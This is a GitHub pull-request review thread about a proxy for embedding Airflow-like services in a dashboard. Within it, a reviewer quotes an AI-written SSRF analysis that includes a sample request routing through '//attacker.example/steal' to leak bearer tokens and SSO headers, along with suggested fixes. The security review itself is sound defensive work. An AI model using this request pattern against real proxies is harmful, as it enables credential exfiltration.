Add Proxy and dex to embed Apache Services - #293
Conversation
This reverts commit 740391c.
|
Nevermind the merge conflicts for now. The review of @sbernauer is concerning the choices made in this PR. |
Bohreromir
left a comment
There was a problem hiding this comment.
Hi Felix, I am done reviewing your code.
Overall solid code, but left you with some comments. Feel free to push back ;)
There was a problem hiding this comment.
The TECH_DEBT.md file is retired in favor of using gh issues
There was a problem hiding this comment.
Should we switch the reminaing < img > in this project to < enhanced:img > too?
|
|
||
| // Bookmark section is visible | ||
| await expect(page.getByRole('heading', { name: 'Bookmarks' })).toBeVisible(); | ||
| await expect(page.getByText('Dashboards')).toBeVisible(); |
There was a problem hiding this comment.
this failes for me. Might be because two texts with "Dashboards" exist. Same for the other .getByText('Dashboards') in this file
| } | ||
|
|
||
| function stripServicePrefix(pathname: string, serviceId: string): string { | ||
| const prefix = `/api/services/${serviceId}`; |
There was a problem hiding this comment.
I think actually using the [...path] param and passing it through to proxyEmbeddedService would be a better way and cleaner seperate things
There was a problem hiding this comment.
Claude later flagged this too as it makes it possible to inject a wrong proxy path. If and what impact that has I'm not too sure, but that would be fixed by the change too.
Claudes reasoning here:
The proxy builds the upstream request URL in two steps:
function stripServicePrefix(pathname: string, serviceId: string): string {
const prefix =/api/services/${serviceId};
const path = pathname.slice(prefix.length); // just a substring, no validation
return path || '/';
}
const path = stripServicePrefix(event.url.pathname, serviceId);
const upstreamUrl = new URL(path, service.upstreamUrl); // line 322stripServicePrefix does a raw string slice — it doesn't check that what remains looks like a normal path. The bug is in what new URL(path, base) does when path starts with //.
Per the WHATWG URL spec, a string starting with // is a network-path reference: when resolved against a base URL, it keeps the base's scheme but replaces the entire authority (host + port) with whatever follows the //. This is the same rule that makes //evil.com/x in an a protocol-relative link to evil.com rather than a path on the current site.
So: request GET /api/services/airflow//attacker.example/steal
→ browsers/HTTP keep // in the path literally (it's not collapsed like a filesystem path)
→ event.url.pathname = /api/services/airflow//attacker.example/steal
→ stripServicePrefix slices off /api/services/airflow, leaving //attacker.example/steal
→ new URL('//attacker.example/steal', 'http://airflow-internal.svc:8080/') resolves to http://attacker.example/steal — the configured upstream host is discarded entirely.The request still goes through proxyRequestHeaders (line 211-266) first, which — depending on the service's authMode — attaches an Authorization: Bearer header (bearer/all-admins/simple-users modes) or x-forwarded-preferred-username/x-forwarded-email (sso mode). Those credentials/identity headers get sent server-side, from the cockpit backend, to whatever host the attacker put after //. That's the actual damage: it's not just "visit any URL," it's "make the cockpit server exfiltrate its configured service credentials (or a real user's SSO identity) to an attacker-controlled or otherwise-unreachable internal host," entirely from a request an already-authenticated cockpit user (or anything that can get them to click/load a URL) can trigger.
Fix direction: don't build the upstream URL from a raw path slice. Either reject any path that doesn't start with exactly one / (e.g. path.replace(/^/+/, '/') before constructing the URL, or check !path.startsWith('//')), or construct the target with new URL(service.upstreamUrl.origin + service.upstreamUrl.pathname.replace(//$/, '') + path) so the authority can never come from user input.
| return path || '/'; | ||
| } | ||
|
|
||
| function rewriteHtml(html: string, service: EmbeddedService, serviceId: string): string { |
There was a problem hiding this comment.
this "small" function does a lot, can you add a short doc string for its purpose?
| simpleUserTokens.clear(); | ||
| } | ||
|
|
||
| const HOP_BY_HOP_HEADERS = new Set([ |
There was a problem hiding this comment.
you could move the hop_by_hop_headers and RESPONSE_HEADERS_TO_REMOVE closer to where they are actually used
| <div class="border-base-300 bg-base-100 rounded-xl border p-6"> | ||
| <h3 class="text-base-content text-base font-semibold">{m.bookmark_section_title()}</h3> | ||
|
|
||
| {#if pinnedBookmarks.length > 0} |
There was a problem hiding this comment.
this and the {#if unpinnedBookmarks.length > 0} below share almost all code. Could you refactor that?
| aria-label={bookmark.pinned ? m.bookmark_unpin_label() : m.bookmark_pin_label()} | ||
| onclick={() => togglePinBookmark(bookmark.id)} | ||
| > | ||
| {#if bookmark.pinned} |
There was a problem hiding this comment.
will never be true as we are iterating over unpinned bookmarks
| @@ -241,7 +192,40 @@ | |||
| {/if} | |||
| <ul class="flex flex-col gap-1"> | |||
| {#each pinnedBookmarks as bookmark (bookmark.id)} | |||
There was a problem hiding this comment.
please deduplicate with the unpinnedBookmarks block below
| for (const key of Object.keys(env)) { | ||
| const match = /^STACKABLE_COCKPIT_([A-Z0-9_]+)_URL$/.exec(key); | ||
| if (match) { | ||
| const serviceId = match[1].toLowerCase().replaceAll('_', '-'); |
There was a problem hiding this comment.
This matches both STACKABLE_COCKPIT_TRINO_URL & STACKABLE_COCKPIT_AIRFLOW_URL while the first is just standard trino and only the second an embedded service.
We should change the env var name to have its own namespace like STACKABLE_COCKPIT_EMBEDED_SERVICE_AIRFLOW_URL (getting a bit long now 😅)
|
It has been decided by Stackable to not pursue embedded services as the upkeep and circumvention of security measures outweigh the gain of displaying services inside the Cockpit instead of outside. |
The full setup of Airflow can be found here: airflow-proxy.tar.gz (basically stock Airflow).